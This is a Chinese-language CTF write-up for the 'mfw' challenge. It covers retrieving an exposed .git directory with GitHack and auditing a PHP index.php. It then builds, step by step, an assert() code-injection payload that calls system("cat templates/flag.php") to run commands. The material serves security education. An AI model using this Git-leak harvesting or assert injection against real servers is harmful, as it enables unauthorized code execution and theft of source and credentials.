Home界面:
Home界面翻譯如下:
歡迎訪問我的網站!
我自己從頭開始寫的!
您可以使用上面的鏈接瀏覽頁面!
About界面:
觀察到Git,聯想Git泄露
Git泄露
Git是一個非常流行的開源分布式版本控制系統(tǒng),它被廣泛用于協同開發(fā)和代碼管理。許多網站和應用程序都使用Git作為其代碼管理系統(tǒng),并將其部署到生產環(huán)境中以維護其代碼庫。
然而,在配置不當的情況下,可能會導致.git
文件夾被直接部署到線上環(huán)境中,這可能會導致Git泄露問題。
此時可使用githack等工具
下載站點存儲庫的整個代碼歷史記錄和配置信息。
漏洞利用
通過枚舉工具或搜索引擎來查找?guī)в?git文件夾的存儲庫,以獲取包含未加密密碼、憑據和敏感信息的站點代碼庫。
如GET/.git
以確認是否存在git泄露
查看是否存在Git漏洞
Payload:/.git
由上圖,存在Git漏洞。
下載泄漏文件
利用python的githacker庫下載泄露文件
GitHack的安裝本文不再贅述
詳情參考: [Python/網絡安全] Git漏洞之Githack工具基本安裝及使用詳析
打開Githack,輸入Payload:python GitHack.py http://61.147.171.105:61017/.git
得到文件
代碼審計
其中,index.php文件存在以下代碼:
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
//傳入page參數,如果沒有,則設置為home
$file = "templates/" . $page . ".php";
//將page參數拼接成一個templates下的php文件,設置為變量file
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//判斷file中是否有 .. 如果有則直接退出 這是為了防止目錄遍歷
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!")
//檢查指定的文件是否存在。如果文件不存在,將拋出另一個斷言錯誤并停止腳本的執(zhí)行。
?>
姿勢
由于該代碼僅對目錄遍歷進行防范,因此可構造POC,執(zhí)行系統(tǒng)命令。
由于下載得到的文件中,templates目錄路徑
下含有flag.php
,故應讀取該文件中內容
構造POC如下:
?page=qiu or system("cat templates/flag.php");
由于qiu參數不存在,page=qiu
返回false
可利用or執(zhí)行system函數
同時觀察到該行代碼:
assert("strpos('參數', '..') === false")
如果將上面的POC傳入,則變?yōu)?/p>
assert("strpos('qiu or system("cat templates/flag.php");', '..') === false")
qiu
未被括號閉合,該語句注入不成功
重新構造POC如下:
?page=qiu') or system("cat templates/flag.php");
則語句變?yōu)椋?/p>
assert("strpos('qiu') or system("cat templates/flag.php");', '..') === false")
再用//
將后面的語句注釋掉即可
構造POC如下:
?page=qiu') or system("cat templates/flag.php");//
則語句變?yōu)椋?/p>
assert("strpos('qiu') or system("cat templates/flag.php");//', '..') === false")
最后的語句如下:
assert("strpos('qiu') or system("cat templates/flag.php");
即可實現命令的成功執(zhí)行:
總結
該題考察Git泄露之存儲庫讀取姿勢
、代碼審計
與命令執(zhí)行
,讀者可躬身實踐。文章來源:http://www.zghlxwxcb.cn/news/detail-740658.html
我是秋說,我們下次見。文章來源地址http://www.zghlxwxcb.cn/news/detail-740658.html
到了這里,關于[CSAW/網絡安全] Git泄露+命令執(zhí)行 攻防世界 mfw 解題詳析的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!